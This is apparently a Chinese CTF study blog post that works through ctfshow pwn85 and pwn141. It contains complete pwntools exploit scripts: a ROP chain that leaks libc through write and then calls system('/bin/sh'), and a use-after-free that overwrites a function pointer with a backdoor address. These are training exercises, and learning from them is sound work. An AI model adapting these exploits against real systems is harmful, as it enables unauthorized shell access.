本文最后更新于270 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com
1、pwn85分析
来ctfshow学点新东西


64位partial relro开了NX,运行有一个输入
但是我不太会wp中的方法,想试试能不能泄露libc,能的话就可以简单的ret2libc
from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28129)
elf=ELF("./pwn85")
write_plt=elf.plt['write']
write_got=elf.got['write']
show=elf.sym['show']
rdi=0x4007a3
rsir15=0x4007a1
payload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(show)
p.recvuntil("Welcome to CTFshowPWN!\n")
p.sendline(payload)
write=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write))
p.interactive()

查一下:

选2.27的下载以后就直接丝滑操作了
2、pwn85实操
from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28129)
elf=ELF("./pwn85")
write_plt=elf.plt['write']
write_got=elf.got['write']
show=elf.sym['show']
rdi=0x4007a3
rsir15=0x4007a1
payload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(show)
p.recvuntil("Welcome to CTFshowPWN!\n")
p.sendline(payload)
write=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write))
libc=ELF("./libc6_2.27-3ubuntu1.6_amd64.so")
base=write-libc.sym['write']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x70+8)+p64(rdi)+p64(binsh)+p64(sys)
p.sendline(payload)
p.interactive()
可以出

3、pwn141分析(使用已释放的内存)
继续学点堆前置


32位
main:

v3=1
add_note

v3=2

里面就会释放堆

v3=3
print_note

后门函数:

这道题的漏洞是释放空间没有把指针清空,所以可以继续使用
注意 *notelist[i] = print_note_content
notelist[i]存放的是print_note_content函数打印的每个chunk的内容
而且print_note函数就是调用的print_note_content
如果我们改写其中存放的内容为后门函数是不是就可以利用了
写个脚本调试一下
from pwn import *
context.log_level="debug"
p=process("./pwn141")
p.recvuntil("choice :")
p.sendline(b'1')
p.recvuntil("Note size :")
p.sendline(b'16')
p.recvuntil("Content :")
p.sendline(b'aaaa')
gdb.attach(p)
p.interactive()

第二个应该就是我们写入的内容的地方,我们看一下

果然

每次申请都会申请一个print_note_content空间,那我们需要利用uaf,申请两个空间,先跟着大佬的文章体验一下吧
4、pwn141体验
from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28273)
use=0x8049684
def allocate(size,content):
p.sendlineafter("choice :",b'1')
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",content)
def free(index):
p.sendlineafter("choice :","2")
p.sendlineafter("Index :",str(index))
def printf(index):
p.sendlineafter(b"choice :",b"3")
p.sendlineafter(b"Index :",str(index))
allocate(0x10,"aaaa")
allocate(0x10,"cccc")
free(0)
free(1)
allocate(8,p32(use))
printf(0)
p.recv()
p.interactive()

ok,今天就学到这儿吧……










